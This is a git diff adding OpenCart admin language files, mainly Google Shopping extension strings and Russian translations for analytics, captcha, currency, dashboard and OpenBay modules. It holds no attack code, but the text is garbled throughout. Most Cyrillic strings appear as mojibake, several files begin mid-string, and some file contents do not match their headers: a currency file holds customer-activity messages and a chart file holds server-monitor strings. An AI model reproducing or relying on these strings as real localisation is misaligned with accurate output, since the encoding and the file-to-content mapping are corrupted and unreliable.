+$_['text_existing_merchant'] = 'Use my own Google Merchant Center account (In case you want to use your active Google Merchant Center account.)';
+$_['text_extension_settings'] = 'Extension Settings';
+$_['text_extensions'] = 'РаÑширениÑ';
+$_['text_filter'] = 'Filter';
+$_['text_gender_female'] = 'Female';
+$_['text_gender_male'] = 'Male';
+$_['text_gender_unisex'] = 'Unisex';
+$_['text_google_expiration_date'] = 'Google Expiration Date';
+$_['text_heading_merchant_center_account'] = 'Merchant Center Account';
+$_['text_home'] = 'ГлавнаÑ';
+$_['text_image'] = 'Image';
+$_['text_impressions'] = 'Impressions';
+$_['text_info_popup_product'] = 'The information requested here is required to properly list your product on Google Shopping. Click here for more information.';
+$_['text_issues'] = 'Issues';
+$_['text_item_level_issues'] = 'Item Issues';
+$_['text_label_active'] = 'ACTIVE';
+$_['text_label_approved'] = 'APPROVED';
+$_['text_label_critical'] = 'CRITICAL';
+$_['text_label_disapproved'] = 'DISAPPROVED';
+$_['text_label_error'] = 'ERROR';
+$_['text_label_paused'] = 'PAUSED';
+$_['text_label_pending'] = 'PENDING';
+$_['text_label_suggestion'] = 'SUGGESTION';
+$_['text_label_unassigned'] = 'UNASSIGNED';
+$_['text_label_unavailable'] = 'UNAVAILABLE';
+$_['text_learn_more'] = 'Learn more';
+$_['text_loading_please_wait'] = 'Please wait. This may take a few minutes...';
+$_['text_local_cron'] = 'Method #1 - CRON Task:';
+$_['text_mapping_intro'] = 'Select your OpenCart categories which best match the pre-defined Google categories. This helps Google understand what you\'re selling so that they can better connect your ads with search queries from potential customers. If none of your categories match the list below, just click "Proceed" to skip this step.';
+$_['text_mapping_verify_intro'] = 'Some of your products are already mapped to Google categories. Should the new mapping edit all current products, or should it apply only for your future products?';
+$_['text_mapping_verify_title'] = 'Confirm New Mapping';
+$_['text_maximum_five'] = 'Maximum 5 campaigns can be selected. Leaving a campaign unticked will unassign the products from this campaign.';
+$_['text_merchant_intro'] = 'Please select the account you wish to use:';
+$_['text_merchant_website_claim'] = 'Upon clicking Proceed , you will be asked to authorize OpenCart to manage your listing and account in Google Shopping. Your website URL will be claimed by the selected Merchant Center account.
';
+$_['text_na'] = '–';
+$_['text_new_merchant'] = 'Use an account managed by OpenCart (For beginners who do not have a Google Merchant Center account.)';
+$_['text_no'] = 'No';
+$_['text_no_results'] = 'No results found!';
+$_['text_no_targets'] = 'No campaigns found! Click the button below to add your first campaign.';
+$_['text_panel_connect'] = 'Step 1 of 5: Connect the Google Shopping Extension';
+$_['text_panel_heading'] = 'Редактировать Google Shopping | Магазин: %s';
+$_['text_panel_heading_campaign'] = 'Step 3 of 5: Set up Smart Shopping Ad Campaigns';
+$_['text_panel_heading_campaign_2'] = 'Set up Smart Shopping Ad Campaigns';
+$_['text_panel_heading_mapping'] = 'Step 5 of 5: Set up Category Mapping';
+$_['text_panel_heading_mapping_2'] = 'Set up Category Mapping';
+$_['text_panel_heading_merchant'] = 'Step 2 of 5: Set up Google Merchant Center Account';
+$_['text_panel_heading_more_info'] = 'About Campaigns';
+$_['text_panel_heading_preview'] = 'How an Ad Looks Like';
+$_['text_panel_heading_shipping_taxes'] = 'Step 4 of 5: Set up Shipping & Taxes';
+$_['text_panel_heading_shipping_taxes_2'] = 'Set up Shipping & Taxes';
+$_['text_paused'] = 'Paused';
+$_['text_per_day'] = '$%s / day';
+$_['text_popup_error_body'] = 'The following error has occurred while trying to fetch this resource: {error} ';
+$_['text_popup_error_title'] = 'Error';
+$_['text_popup_loading_body'] = 'Loading... Please wait...';
+$_['text_popup_loading_title'] = 'Loading form...';
+$_['text_popup_title_multiple'] = 'Editing %s products';
+$_['text_popup_title_single'] = '%s (%s)';
+$_['text_product_category'] = 'Category (incl. sub-categories)';
+$_['text_product_is_modified'] = 'Google Fields Edited';
+$_['text_product_model'] = 'Model';
+$_['text_product_name'] = 'Product';
+$_['text_refresh_token'] = 'Re-create token';
+$_['text_remote_cron'] = 'Method #2 - Remote CRON:';
+$_['text_report_campaign_name'] = 'Campaign Name';
+$_['text_report_clicks'] = 'Clicks';
+$_['text_report_conversion_value'] = 'Conversion Value';
+$_['text_report_conversions'] = 'Conversions';
+$_['text_report_cost'] = 'Cost';
+$_['text_report_date_range'] = 'Campaign Reports for %s';
+$_['text_report_impressions'] = 'Impressions';
+$_['text_report_status'] = 'Status';
+$_['text_reporting_interval'] = 'Reporting Time Interval';
+$_['text_reporting_interval_LAST_14_DAYS'] = 'Last 14 days';
+$_['text_reporting_interval_LAST_30_DAYS'] = 'Last 30 days';
+$_['text_reporting_interval_LAST_7_DAYS'] = 'Last 7 days';
+$_['text_reporting_interval_LAST_BUSINESS_WEEK'] = 'Last business week';
+$_['text_reporting_interval_LAST_WEEK'] = 'Last week';
+$_['text_reporting_interval_LAST_WEEK_SUN_SAT'] = 'Last week (Sunday - Saturday)';
+$_['text_reporting_interval_THIS_MONTH'] = 'This month';
+$_['text_reporting_interval_THIS_WEEK_MON_TODAY'] = 'This week (Monday - Today)';
+$_['text_reporting_interval_THIS_WEEK_SUN_TODAY'] = 'This week (Sunday - Today)';
+$_['text_reporting_interval_TODAY'] = 'Today';
+$_['text_reporting_interval_YESTERDAY'] = 'Yesterday';
+$_['text_select_country'] = '-- Country --';
+$_['text_select_currency'] = '-- Currency --';
+$_['text_select_language'] = '-- Language --';
+$_['text_selection_all'] = 'You have selected all {total} items on all pages. Unselect Everything ';
+$_['text_selection_page'] = 'You have selected {selected_page} item(s) on this page. Click here to select all {total} items on all pages.';
+$_['text_shipping_carrier'] = 'Use a distribution center and carrier services';
+$_['text_shipping_custom'] = 'Set this up myself in the Google Merchant Center';
+$_['text_shipping_flat'] = 'Use a flat rate for all orders';
+$_['text_shipping_services'] = 'Shipping Services';
+$_['text_shipping_transit_times'] = 'Shipping Transit Times';
+$_['text_size'] = 'Size';
+$_['text_size_type_big_and_tall'] = 'Big & Tall';
+$_['text_size_type_maternity'] = 'Maternity';
+$_['text_size_type_petite'] = 'Petite';
+$_['text_size_type_plus'] = 'Plus';
+$_['text_size_type_regular'] = 'Regular';
+$_['text_status'] = 'Status';
+$_['text_suggestion'] = 'Suggestion';
+$_['text_tax_custom'] = 'Set this up myself in the Google Merchant Center';
+$_['text_tax_not_usa'] = 'I am not based in the USA';
+$_['text_tax_on_shipping'] = 'Add tax on shipping';
+$_['text_tax_usa'] = 'Use Google's destination-based tax estimation';
+$_['text_taxes'] = 'Taxes (USA only)';
+$_['text_tutorial_cron'] = 'https://isenselabs.com/posts/how-to-auto-sync-opencart-products-with-google-shopping';
+$_['text_usd'] = 'USD';
+$_['text_usd_day'] = 'USD / day';
+$_['text_video_tutorial_url_advertise'] = 'https://youtu.be/ZN7zz8raoVM?t=187';
+$_['text_video_tutorial_url_install'] = 'https://www.youtube.com/watch?v=AvkBLWAUojI';
+$_['text_video_tutorial_url_setup'] = 'https://www.youtube.com/watch?v=ZN7zz8raoVM';
+$_['text_view_issues'] = 'View Issues';
+$_['text_yes'] = 'Yes';
+
+// Placeholders
+$_['placeholder_access_token'] = 'Paste your access token here';
+
+// Tabs
+$_['tab_text_ads'] = 'Product Ads / Reports';
+$_['tab_text_reports'] = 'Campaign Reports';
+$_['tab_text_settings'] = 'Settings';
+
+// Buttons
+$_['button_add_feed'] = 'New Feed';
+$_['button_add_target'] = 'New Campaign';
+$_['button_apply'] = 'Assign Selected Products to Campaigns';
+$_['button_bulk_edit_google_fields'] = 'Bulk Edit';
+$_['button_campaign'] = 'Smart Shopping Ad Campaigns';
+$_['button_close'] = 'Close';
+$_['button_connect'] = 'Connect';
+$_['button_disconnect'] = 'Disconnect';
+$_['button_mapping'] = 'Category Mapping';
+$_['button_proceed'] = 'Продолжить';
+$_['button_product_edit'] = 'Edit Google Fields';
+$_['button_product_set'] = 'Set Google Fields';
+$_['button_save'] = 'Save';
+$_['button_save_future'] = 'Save & Do Nothing';
+$_['button_save_modify'] = 'Save & Modify Current Products';
+$_['button_select_campaigns'] = 'Select Campaigns';
+$_['button_shipping_taxes'] = 'Shipping & Taxes';
+$_['button_video_tutorial_install'] = 'ПоÑмотреть видео инÑтрукцию (на английÑком)';
+$_['button_video_tutorial_setup'] = 'ПоÑмотреть видео инÑтрукцию (на английÑком)';
+
+// Success
+$_['success_advertise_disable'] = 'Success! Advertising has been disabled for the selected products!';
+$_['success_advertise_enable'] = 'Success! Advertising has been enabled for the selected products!';
+$_['success_advertise_listed'] = 'The shopping ads are live! If your products are not yet approved, please allow up to 3 business days for the Merchant Center team to review them.';
+$_['success_advertise_unlisted'] = 'The shopping ads have been stopped. The products you edited no longer belong to any campaigns.';
+$_['success_campaign'] = 'Success! You have set up Smart Shopping Ad Campaigns!';
+$_['success_connect'] = 'Success! You have connected your extension!';
+$_['success_disconnect'] = 'Success! The extension has been disconnected!';
+$_['success_index'] = 'Success! You have modified the extension!';
+$_['success_mapping'] = 'Success! You have set up mapping!';
+$_['success_merchant'] = 'Success! Your Google Merchant Center account has been set up! Your website has been claimed!';
+$_['success_merchant_access'] = 'Success! Your Google Merchant Center account has been set up! Your website has been claimed! You can access the linked Google Merchant Center account from the Google Merchant Center dashboard .';
+$_['success_product'] = 'Success! The product information has been updated.';
+$_['success_shipping_taxes'] = 'Success! The merchant shipping and taxes have been updated.';
+$_['success_target_add'] = 'Success! Your new campaign has been created! It will become active as soon as your product feeds get approved by Google Merchant Center.';
+$_['success_target_delete'] = 'Success! Your campaign has been deleted!';
+$_['success_target_edit'] = 'Success! You have edited your campaign!';
+
+// Error
+$_['error_adblock'] = "It looks like you are using an ad blocker. In order to use GoogleShopping, please disable your ad blocker for your OpenCart admin panel.";
+$_['error_budget'] = 'Please insert the campaign budget. The value must be numeric and no less than 5.';
+$_['error_campaign_name_in_use'] = 'You are already using a campaign with the same name! Please choose another name.';
+$_['error_campaign_name_total'] = '"Total" is a forbidden name for a campaign! Please choose another name.';
+$_['error_carrier'] = 'Please select at least one carrier!';
+$_['error_carrier_postcode'] = 'Please provide the postcode for outgoing shipments.';
+$_['error_carrier_price_percentage'] = 'Please provide a valid price percentage from 0 to 100.';
+$_['error_cron_acknowledge'] = 'Please confirm you have set up a CRON job.';
+$_['error_empty_app_id'] = 'Please insert the App ID!';
+$_['error_empty_app_secret'] = 'Please insert the App Secret!';
+$_['error_empty_campaign_name'] = 'Please set a name for your campaign!';
+$_['error_empty_country'] = 'Please select a country!';
+$_['error_empty_feed'] = 'Please specify at least one campaign feed!';
+$_['error_field_no_value'] = 'Please provide a value!';
+$_['error_flat_rate'] = 'Please insert a flat rate value. The value must be numeric.';
+$_['error_form'] = 'Please check the form for errors and try to save agian.';
+$_['error_invalid_email'] = 'The provided e-mail address is not valid!';
+$_['error_invalid_feed'] = 'All feeds must have a language and currency!';
+$_['error_max_transit_time'] = 'Please insert a maximum transit time (number of days) which is larger than the minimum.';
+$_['error_min_transit_time'] = 'Please insert a minimum transit time (number of days).';
+$_['error_no_targets'] = 'Warning! No Smart Shopping Ad Campaigns have been set up.';
+$_['error_permission'] = 'Warning! You do not have permission to modify the extension Advertise > Google Shopping!';
+$_['error_popup_not_found_body'] = 'The system could not find the product.';
+$_['error_popup_not_found_title'] = 'Not found';
+$_['error_store_url_claim'] = 'Your store URL has been claimed by another app. Please connect your merchant account to re-claim the store URL.';
+$_['error_tax'] = 'Please select at least one taxable state.';
+$_['error_used_app_id'] = 'You have already connected this App with another one of your stores. Please disconnect the other store, or use a different App ID.';
+$_['error_warning'] = 'Warning! Please check the form carefully for errors.';
+
+// Warning
+$_['warning_budget'] = 'Campaigns with a daily budget of less than $10 may not yield good conversion results. For best results, we suggest a daily budget of at least $10.';
+$_['warning_disabled'] = 'The extension is disabled and all of your campaigns are stopped. Enable the extension to activate the Smart Shopping Ad Campaigns.';
+$_['warning_last_cron_executed'] = 'It seems like your CRON task has not been run recently. Please ensure it is set up correctly. Follow this tutorial to see how to do it.';
+$_['warning_no_active_campaigns'] = 'You have no campaigns running. Click here to activate your campaign.';
+$_['warning_no_advertised_products'] = 'No products are being advertised. To start advertising, you must assign products to campaigns. Follow this tutorial to see how to do it.';
+$_['warning_roas'] = 'Google Ads needs about a couple of weeks after a campaign gets created to work properly with ROAS. Please check back on %s to configure this setting.';
diff --git a/public/admin/language/ru-ru/extension/analytics/google.php b/public/admin/language/ru-ru/extension/analytics/google.php
new file mode 100644
index 0000000..e292fd2
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/analytics/google.php
@@ -0,0 +1,17 @@
+Google Analytics account and after creating your website profile copy and paste the analytics code into this field.';
+$_['text_default'] = 'Default';
+
+// Entry
+$_['entry_code'] = 'Google Analytics Code';
+$_['entry_status'] = 'Status';
+
+// Error
+$_['error_permission'] = 'Warning: You do not have permission to modify Google Analytics!';
+$_['error_code'] = 'Code required!';
diff --git a/public/admin/language/ru-ru/extension/analytics/google_analytics.php b/public/admin/language/ru-ru/extension/analytics/google_analytics.php
new file mode 100644
index 0000000..fcd687c
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/analytics/google_analytics.php
@@ -0,0 +1,20 @@
+Google ÐÐ½Ð°Ð»Ð¸Ñ‚Ð¸ÐºÑ Ð¸ поÑле наÑтройки добавьте Ñюда выданный код.';
+
+// Entry
+$_['entry_code'] = 'Код Google ÐналитикÑ';
+$_['entry_status'] = 'СтатуÑ';
+
+// Error
+$_['error_permission'] = 'У Ð²Ð°Ñ Ð½ÐµÐ´Ð¾Ñтаточно прав Ð´Ð»Ñ Ð²Ð½ÐµÑÐµÐ½Ð¸Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ð¹!';
+$_['error_code'] = 'Ðеобходим код Google ÐналитикÑ!';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/extension/analytics/yandex_metrika.php b/public/admin/language/ru-ru/extension/analytics/yandex_metrika.php
new file mode 100644
index 0000000..c72bb2e
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/analytics/yandex_metrika.php
@@ -0,0 +1,23 @@
+yandex.ru/support/metrika/quick-start.xml ';
+$_['text_default'] = 'По умолчанию';
+$_['text_edit'] = 'Редактирование ЯндекÑ.Метрики';
+$_['text_no_users'] = 'Ðе учитывать авторизированных пользователей';
+$_['text_no_admin'] = 'Ðе учитывать админиÑтратора';
+$_['text_yandex_metrika'] = 'ID Ñчетчика';
+$_['text_help_counter'] = 'ID Ñчетчика ЯндекÑ.Метрики';
+
+// Entry
+$_['entry_code'] = 'Код Ñчетчика';
+$_['entry_status'] = 'СтатуÑ';
+$_['entry_no_admin'] = 'Без админиÑтратора';
+$_['entry_no_users'] = 'Без пользователей';
+
+// Error
+$_['error_permission'] = 'У Ð²Ð°Ñ Ð½ÐµÑ‚ прав Ð´Ð»Ñ ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ñтим модулем!';
+$_['error_code'] = 'Ðеобходимо указать код!';
diff --git a/public/admin/language/ru-ru/extension/captcha/basic.php b/public/admin/language/ru-ru/extension/captcha/basic.php
new file mode 100644
index 0000000..1bd1878
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/captcha/basic.php
@@ -0,0 +1,16 @@
+Google reCAPTCHA и зарегиÑтрируйте Ñвой магазин.';
+
+// Entry
+$_['entry_key'] = 'Ключ Ñайта';
+$_['entry_secret'] = 'Секретный ключ';
+$_['entry_status'] = 'СтатуÑ';
+
+// Error
+$_['error_permission'] = 'У Ð²Ð°Ñ Ð½ÐµÐ´Ð¾Ñтаточно прав Ð´Ð»Ñ Ð²Ð½ÐµÑÐµÐ½Ð¸Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ð¹!';
+$_['error_key'] = 'Ðеобходим ключ Ñайта!';
+$_['error_secret'] = 'Ðеобходим Ñекретный ключ!';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/extension/currency/cbr.php b/public/admin/language/ru-ru/extension/currency/cbr.php
new file mode 100644
index 0000000..ae92bc9
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/currency/cbr.php
@@ -0,0 +1,15 @@
+зарегиÑтрироватьÑÑ.';
+$_['text_support'] = 'Ð”Ð»Ñ Ñтого Ð¼Ð¾Ð´ÑƒÐ»Ñ Ñ‚Ñ€ÐµÐ±ÑƒÐµÑ‚ÑÑ Ð²Ð°Ð»ÑŽÑ‚Ð° EUR';
+
+// Entry
+$_['entry_api'] = 'API Access Key';
+$_['entry_status'] = 'СтатуÑ';
+
+// Error
+$_['error_permission'] = 'У Ð²Ð°Ñ Ð½ÐµÑ‚ прав Ð´Ð»Ñ ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ñтим модулем!';
+$_['error_api'] = 'API Access Key обÑзателен!';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/extension/currency/nbu.php b/public/admin/language/ru-ru/extension/currency/nbu.php
new file mode 100644
index 0000000..6e9c607
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/currency/nbu.php
@@ -0,0 +1,15 @@
+%s - региÑÑ‚Ñ€Ð°Ñ†Ð¸Ñ Ð°ÐºÐºÐ°ÑƒÐ½Ñ‚Ð°.';
+$_['text_activity_edit'] = '%s - обновлена Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð°ÐºÐºÐ°ÑƒÐ½Ñ‚Ð°.';
+$_['text_activity_password'] = '%s - обновлен пароль.';
+$_['text_activity_reset'] = '%s - Ñброшен пароль учетной запиÑи.';
+$_['text_activity_login'] = '%s - выполнен вход.';
+$_['text_activity_forgotten'] = '%s - Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð¾Ð²Ð¾Ð³Ð¾ паролÑ.';
+$_['text_activity_address_add'] = '%s - добавлен новый адреÑ.';
+$_['text_activity_address_edit'] = '%s - обновлен адреÑ.';
+$_['text_activity_address_delete'] = '%s - удален один из адреÑов.';
+$_['text_activity_return_account'] = '%s - Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð²Ð¾Ð·Ð²Ñ€Ð°Ñ‚Ð° товара.';
+$_['text_activity_return_guest'] = '%s - Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð²Ð¾Ð·Ð²Ñ€Ð°Ñ‚Ð° товара.';
+$_['text_activity_order_account'] = '%s - Ñоздан новый заказ .';
+$_['text_activity_order_guest'] = '%s - Ñоздан новый заказ .';
+$_['text_activity_affiliate_edit'] = '%s - зарегиÑтрирован новый аккаунт.';
+$_['text_affiliate_edit'] = '%s - обновлена Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð°ÐºÐºÐ°ÑƒÐ½Ñ‚Ð°.';
+$_['text_activity_transaction'] = '%s - получена комиÑÑÐ¸Ñ Ð·Ð° заказ .';
+
+// Entry
+$_['entry_status'] = 'СтатуÑ';
+$_['entry_sort_order'] = 'ПорÑдок Ñортировки';
+$_['entry_width'] = 'Ширина';
+
+// Error
+$_['error_permission'] = 'У Ð²Ð°Ñ Ð½ÐµÐ´Ð¾Ñтаточно прав Ð´Ð»Ñ Ð²Ð½ÐµÑÐµÐ½Ð¸Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ð¹!';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/extension/dashboard/chart.php b/public/admin/language/ru-ru/extension/dashboard/chart.php
new file mode 100644
index 0000000..106b686
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/dashboard/chart.php
@@ -0,0 +1,25 @@
+Домовой 1.0.1';
+
+// Text
+$_['text_extension'] = 'РаÑширениÑ';
+$_['text_vps'] = 'VPS/Dedicated Ñервер';
+$_['text_shared'] = 'Виртуальный хоÑтинг';
+$_['text_server_type'] = 'Тип Вашего хоÑтинга';
+$_['text_success'] = 'ÐаÑтройки уÑпешно изменены!';
+$_['text_setting'] = 'ÐаÑтройки Домового';
+$_['text_edit'] = 'Редактирование';
+$_['text_check'] = 'еще не проверÑлаÑÑŒ, нажмите зеленую иконку Ð´Ð»Ñ Ð¿Ñ€Ð¾Ð²ÐµÑ€ÐºÐ¸';
+$_['text_server'] = 'Параметры Ñервера';
+$_['text_dir_cache'] = 'Папка ÑиÑтемного кеша ';
+$_['text_dir_logs'] = 'Папка логов ';
+$_['text_dir_imagescache'] = 'Папка кеша изображений ';
+$_['text_folder_size'] = 'занимает %s';
+$_['text_folder_files'] = '| %s файл(ов)';
+$_['text_normal'] = ' В норме ';
+$_['text_warning_size'] = ' Внимание Папка превышает порог уÑтановленного Вами объема %sМб, очиÑтите ее, чтобы на хоÑтинге не закончилоÑÑŒ меÑто';
+$_['text_warning_free_space'] = ' Внимание Ðа диÑке оÑталоÑÑŒ меньше %sМб, проанализируйте как его можно увеличить, чтобы на хоÑтинге не закончилоÑÑŒ меÑто';
+$_['text_warning'] = 'Обратите внимание';
+$_['text_critical'] = 'КритичеÑкаÑ';
+$_['text_danger_info'] = 'У Ð’Ð°Ñ Ð²ÐºÐ»ÑŽÑ‡ÐµÐ½Ñ‹ небезопаÑные функции:';
+$_['text_warning_info'] = 'У Ð’Ð°Ñ Ð²ÐºÐ»ÑŽÑ‡ÐµÐ½Ñ‹ потенциально небезопаÑные функции:';
+$_['text_danger_info_normal'] = 'У Ð’Ð°Ñ Ð½ÐµÑ‚ включенных небезопаÑных функций:';
+$_['text_warning_info_normal'] = 'У Ð’Ð°Ñ Ð½ÐµÑ‚ включенных потенциально небезопаÑных функций';
+$_['text_metrics_bit'] = 'байт';
+$_['text_metrics_kbit'] = 'Кбайт';
+$_['text_metrics_mbit'] = 'Мбайт';
+$_['text_metrics_gbit'] = 'Гбайт';
+$_['text_metrics_tbit'] = 'Тбайт';
+$_['text_copied'] = 'Скопировано';
+$_['text_cache'] = 'СиÑтемный кеш уÑпешно очищен';
+$_['text_twig_off_warning'] = 'Кеш TWIG шаблонов отключен, рекомендуем включить!';
+$_['text_clear'] = 'ОчиÑтить Ñодержимое папки';
+$_['text_calculate'] = 'ПоÑчитать размер папки';
+$_['text_copy'] = 'Ðажмите чтобы Ñкопировать верÑию';
+$_['text_copyright'] = 'Домовой 1.0.1 - Dinox[opencartforum.com]';
+$_['text_phpinfo'] = 'Ðажмите чтобы поÑмотреть подробную информацию о PHP и другие параметры';
+$_['text_check_function'] = 'Проверка функций';
+$_['text_ocmod_cache_success'] = 'ОчиÑтка кеша OCMOD уÑпешно завершена';
+$_['text_disk_free_space'] = 'Свободное меÑто на диÑке: ';
+
+// Entry
+$_['entry_status'] = 'СтатуÑ';
+$_['entry_sort_order'] = 'ПорÑдок Ñортировки';
+$_['entry_width'] = 'Ширина';
+$_['entry_danger_funtions'] = 'СпиÑок небезопаÑных функций, наличие которых нужно проверÑть';
+$_['entry_warning_funtions'] = 'СпиÑок потенциально небезопаÑных функций, наличие которых нужно проверÑть';
+$_['entry_theme_cache'] = 'Кеш шаблона';
+$_['entry_modification_cache'] = 'Кеш модификаторов OCMOD';
+$_['entry_allcache'] = 'ВеÑÑŒ кеш, без OCMOD';
+$_['entry_size'] = 'Введите объем, Мб';
+$_['entry_time'] = 'Период переÑчета, мин';
+$_['entry_folder_cron_status'] = 'Следить за объемом директории?';
+$_['entry_folder_space_limit'] = 'Порог объема директории, Мб';
+$_['entry_folder_calc_time'] = 'ПереÑчет размера директории,в минутах (работает при заходах в админку)';
+$_['entry_disk_free_space_limit'] = 'Минимальный оÑтаток Ñвободного меÑта на диÑке';
+$_['entry_free_space_status'] = 'Показывать оÑтаток Ñвободного меÑта на диÑке (в большинÑтве Ñлучаев работает на VPS/Dedicated';
+
+// Error
+$_['error_permission'] = 'У Ð²Ð°Ñ Ð½ÐµÐ´Ð¾Ñтаточно прав Ð´Ð»Ñ Ð²Ð½ÐµÑÐµÐ½Ð¸Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ð¹!';
+$_['error_folder'] = 'Ð¢Ð°ÐºÐ°Ñ Ð¿Ð°Ð¿ÐºÐ° отÑутÑтвует в перечне доÑтупных папок';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/extension/dashboard/map.php b/public/admin/language/ru-ru/extension/dashboard/map.php
new file mode 100644
index 0000000..546f20d
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/dashboard/map.php
@@ -0,0 +1,21 @@
+Дизайн - Макеты!';
+$_['text_add'] = 'Добавить';
+$_['text_list'] = 'СпиÑок модулей';
+$_['text_hide_modules'] = 'Ð’ ÑпиÑке не отображены модули, которые Ñкрыты в разделе ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¿Ñ€Ð°Ð²Ð°Ð¼Ð¸ пользователей!';
+
+// Column
+$_['column_name'] = 'Ðазвание модулÑ';
+$_['column_action'] = 'ДейÑтвие';
+
+// Entry
+$_['entry_code'] = 'Модуль';
+$_['entry_name'] = 'Ðазвание модулÑ';
+
+// Error
+$_['error_permission'] = 'У Ð²Ð°Ñ Ð½ÐµÐ´Ð¾Ñтаточно прав Ð´Ð»Ñ Ð²Ð½ÐµÑÐµÐ½Ð¸Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ð¹!';
+$_['error_name'] = 'Ðазвание должно Ñодержать от 3 до 64 Ñимволов!';
+$_['error_code'] = 'Ðеобходим модуль!';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/extension/extension/openbay.php b/public/admin/language/ru-ru/extension/extension/openbay.php
new file mode 100644
index 0000000..303f28c
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/extension/openbay.php
@@ -0,0 +1,120 @@
+ or <';
+$_['error_tracking_courier'] = 'You must select a courier if you want to add a tracking ID';
+$_['error_tracking_custom'] = 'Please leave courier field empty if you want to use custom courier';
+$_['error_permission'] = 'You do not have permission to modify the OpenBay Pro extension';
+$_['error_mkdir'] = 'PHP mkdir function is disabled, contact your host';
+$_['error_file_delete'] = 'Unable to remove these files, you should delete them manually';
+$_['error_mcrypt'] = 'PHP function "mcrypt_encrypt" is not enabled. Contact your hosting provider.';
+$_['error_mbstring'] = 'PHP library "mb strings" is not enabled. Contact your hosting provider.';
+$_['error_ftpconnect'] = 'PHP FTP functions are not enabled. Contact your hosting provider.';
+$_['error_oc_version'] = 'Your version of OpenCart is not tested to work with this module. You may experience problems.';
+$_['error_fopen'] = 'PHP function "fopen" is disabled by your host - you will be unable to import images when importing products';
+$_['lang_error_vqmod'] = 'Your vqmod folder contains older OpenBay Pro files - these need to be removed!';
+
+// Help
+$_['help_ftp_username'] = 'Use the FTP username from your host';
+$_['help_ftp_password'] = 'Use the FTP password from your host';
+$_['help_ftp_server'] = 'IP address or domain name for your FTP server';
+$_['help_ftp_root'] = '(No trailing slash e.g. httpdocs/www)';
+$_['help_ftp_admin'] = 'If you have changed your admin directory update it to the new location';
+$_['help_ftp_pasv'] = 'Change your FTP connection to passive mode';
+$_['help_ftp_beta'] = 'Caution! The beta version may not work correctly';
+$_['help_clear_faq'] = 'Show all of the help notifications again';
+$_['help_empty_data'] = 'This can cause serious damage, do not use it if you do not know what it does!';
+$_['help_easy_update'] = 'Click update to install the latest version of OpenBay Pro automatically';
+$_['help_patch'] = 'Click to run the patch scripts';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/extension/extension/other.php b/public/admin/language/ru-ru/extension/extension/other.php
new file mode 100644
index 0000000..f39f428
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/extension/other.php
@@ -0,0 +1,15 @@
+разделе ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¿Ñ€Ð°Ð²Ð°Ð¼Ð¸ пользователей!';
+
+// Column
+$_['column_name'] = 'СпоÑоб оплаты';
+$_['column_status'] = 'СтатуÑ';
+$_['column_sort_order'] = 'ПорÑдок Ñортировки';
+$_['column_action'] = 'ДейÑтвие';
+
+// Error
+$_['error_permission'] = 'У Ð²Ð°Ñ Ð½ÐµÐ´Ð¾Ñтаточно прав Ð´Ð»Ñ Ð²Ð½ÐµÑÐµÐ½Ð¸Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ð¹!';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/extension/extension/report.php b/public/admin/language/ru-ru/extension/extension/report.php
new file mode 100644
index 0000000..d76fc03
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/extension/report.php
@@ -0,0 +1,19 @@
+разделе ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¿Ñ€Ð°Ð²Ð°Ð¼Ð¸ пользователей!';
+
+// Column
+$_['column_name'] = 'СпоÑоб доÑтавки';
+$_['column_status'] = 'СтатуÑ';
+$_['column_sort_order'] = 'ПорÑдок Ñортировки';
+$_['column_action'] = 'ДейÑтвие';
+
+// Error
+$_['error_permission'] = 'У Ð²Ð°Ñ Ð½ÐµÐ´Ð¾Ñтаточно прав Ð´Ð»Ñ Ð²Ð½ÐµÑÐµÐ½Ð¸Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ð¹!';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/extension/extension/theme.php b/public/admin/language/ru-ru/extension/extension/theme.php
new file mode 100644
index 0000000..0731999
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/extension/theme.php
@@ -0,0 +1,18 @@
+нажмите тут и выберите клаÑÑификацию Ñ Ñ‡Ð¸Ñловыми идентификаторами в текÑтовом формате (.txt). Загрузить Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ зеленой кнопки импорта.';
+
+// Column
+$_['column_google_category'] = 'Google КатегориÑ';
+$_['column_category'] = 'КатегориÑ';
+$_['column_action'] = 'ДейÑтвие';
+
+// Entry
